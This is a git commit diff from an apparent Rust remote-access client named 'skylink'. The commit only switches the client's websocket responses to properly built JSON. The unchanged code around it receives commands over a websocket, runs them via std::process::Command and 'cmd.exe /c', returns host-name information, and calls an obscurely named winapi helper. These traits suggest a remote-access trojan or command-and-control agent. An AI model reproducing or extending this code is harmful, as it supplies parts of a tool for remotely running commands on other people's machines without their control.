fix: return valid JSON

This commit is contained in:
Xory 2025-12-18 16:40:53 +02:00
parent 6a90a8fae5
commit 72740c93af
2 changed files with 10 additions and 2 deletions

View file

@ -1,6 +1,7 @@
use futures_util::stream::SplitSink; use futures_util::stream::SplitSink;
use lib::winapi::low_tier_god; use lib::winapi::low_tier_god;
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
use serde_json::json;
use std::sync::Arc; use std::sync::Arc;
use tokio::{net::TcpStream, sync::Mutex}; use tokio::{net::TcpStream, sync::Mutex};
use tokio_tungstenite::tungstenite::protocol::Message; use tokio_tungstenite::tungstenite::protocol::Message;
@ -56,6 +57,7 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
log(LogLevel::Debug, LOG_PATH, format!("Running command {command} with args {h}")).await; log(LogLevel::Debug, LOG_PATH, format!("Running command {command} with args {h}")).await;
let proc = std::process::Command::new(command).args(args).output()?; let proc = std::process::Command::new(command).args(args).output()?;
return Ok(String::from_utf8_lossy(&proc.stdout).trim().to_string()); return Ok(String::from_utf8_lossy(&proc.stdout).trim().to_string());
// return Ok(json!({ "stdout": String::from_utf8_lossy(&proc.stdout).trim() }).to_string())
} }
Command::URunCMD { command } => { Command::URunCMD { command } => {
let formatted_param = format!("cmd.exe /c \"{command}\""); let formatted_param = format!("cmd.exe /c \"{command}\"");
@ -78,7 +80,12 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
Command::ClientInfo => { Command::ClientInfo => {
let hostname = sysinfo::System::host_name(); let hostname = sysinfo::System::host_name();
let skylink_ver = "1.0.0"; let skylink_ver = "1.0.0";
if let Some(actual_hostname) = hostname { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}")) } else { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"err_none_detected\" }}")) } if let Some(actual_hostname) = hostname {
// Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}"))
Ok(json!({ "client_version": skylink_ver, "host_name": actual_hostname }).to_string())
} else {
Ok(json!({ "client_version": skylink_ver, "host_name": "err_not_detected" }).to_string())
}
} }
Command::Dnx { params } => { Command::Dnx { params } => {
log(LogLevel::Debug, LOG_PATH, format!("s1")).await; log(LogLevel::Debug, LOG_PATH, format!("s1")).await;

View file

@ -1,4 +1,5 @@
use crate::{LOG_PATH, LogLevel, WS_URL, WsTx, eval_command, log}; use crate::{LOG_PATH, LogLevel, WS_URL, WsTx, eval_command, log};
use serde_json::json;
use futures_util::{SinkExt, StreamExt}; use futures_util::{SinkExt, StreamExt};
use tokio_tungstenite::connect_async; use tokio_tungstenite::connect_async;
use tokio_tungstenite::tungstenite::{Bytes, Message}; use tokio_tungstenite::tungstenite::{Bytes, Message};
@ -92,7 +93,7 @@ pub async fn websocket_handler(ws_tx: WsTx) {
let mut unlocked_ws_tx = ws_tx.lock().await; let mut unlocked_ws_tx = ws_tx.lock().await;
if let Some(h) = unlocked_ws_tx.as_mut() { if let Some(h) = unlocked_ws_tx.as_mut() {
let response_msg = format!("{{ \"err\": null, \"out\": \"{v}\" }}"); let response_msg = json!({ "err": "null", "out": v }).to_string();
if let Err(e) = h.send(response_msg.into()).await { if let Err(e) = h.send(response_msg.into()).await {
log(LogLevel::Error, LOG_PATH, format!("[ws] send error: {e}")).await; log(LogLevel::Error, LOG_PATH, format!("[ws] send error: {e}")).await;